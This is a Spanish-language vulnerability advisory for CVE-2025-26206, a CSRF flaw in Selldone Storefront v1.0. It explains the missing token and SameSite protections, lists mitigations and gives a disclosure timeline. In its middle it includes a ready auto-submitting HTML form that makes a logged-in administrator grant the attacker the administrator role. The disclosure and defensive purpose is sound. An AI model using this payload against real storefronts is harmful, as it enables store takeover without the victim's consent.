
Vulnerabilidad CSRF en Selldone Storefront v1.0 que conduce a una escalada de privilegios (CVE-2025-26206, CVSS 9.0).
Una vulnerabilidad crítica de Cross-Site Request Forgery (CSRF) en Selldone Storefront v1.0 permite a atacantes remotos escalar privilegios engañando a usuarios autenticados para que ejecuten
solicitudes que cambian el estado a través de la capa de aplicación del storefront. Descubierta y divulgada de forma responsable por Sibhi Balamurugan (@xibhi).
| Campo | Detalle |
|---|---|
| ID de CVE | CVE-2025-26206 |
| Tipo | Cross-Site Request Forgery (CWE-352) |
| Producto | Selldone Storefront |
| Versión afectada | v1.0 |
| Componente | index.html / Inicialización de sesión |
| Impacto | Escalada de privilegios / Toma de control de la tienda |
| CVSS v3.1 | 9.0 (Crítica) — CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H |
| Descubridor | Sibhi Balamurugan (@xibhi) |
Selldone Storefront v1.0 carecía de verificación de tokens anti-CSRF en los endpoints que cambian el estado, y las cookies de autenticación se almacenaban sin límites estrictos entre sitios (se omitía SameSite).
Cuando un propietario de tienda o administrador autenticado visita una página web controlada por el atacante, el navegador adjunta automáticamente las cookies de sesión ambientales a las solicitudes de origen cruzado, ejecutando operaciones privilegiadas sin el consentimiento de la víctima.
Sitio del atacante → Navegador de la víctima (mantiene la sesión) → API de Selldone (cookie enviada, sin verificación CSRF) → Rol modificado
Un atacante aloja una página maliciosa con un formulario de envío automático dirigido a un endpoint privilegiado:
<form id="csrf" action="https://<TARGET-STOREFRONT>/api/v1/shop/roles" method="POST">
<input type="hidden" name="user_id" value="attacker_id" />
<input type="hidden" name="role" value="administrator" />
</form>
<script>
document.getElementById("csrf").submit();
</script>
Cuando un administrador autenticado visita la página, el navegador envía la solicitud con sus credenciales, elevando la cuenta del atacante.
X-CSRF-TOKEN validado o un token sincronizador en todas las solicitudes que no sean GET (POST, PUT, DELETE, PATCH).SameSite=Lax o SameSite=Strict, junto con los indicadores Secure y HttpOnly en las cookies de sesión.Origin y Referer en todos los endpoints que cambian el estado.| Fecha | Hito |
|---|---|
| Feb 2025 | Descubierta y reportada al proveedor. |
| 24 de feb de 2025 | Aviso inicial publicado. |
| 03 de mar de 2025 | Entrada publicada en NVD. |
| 04 de mar de 2025 | Puntuada en NVD con CVSS 9.0 (Crítica). |
Descubridor: Sibhi Balamurugan (@xibhi)
Este proyecto está licenciado bajo la Licencia MIT.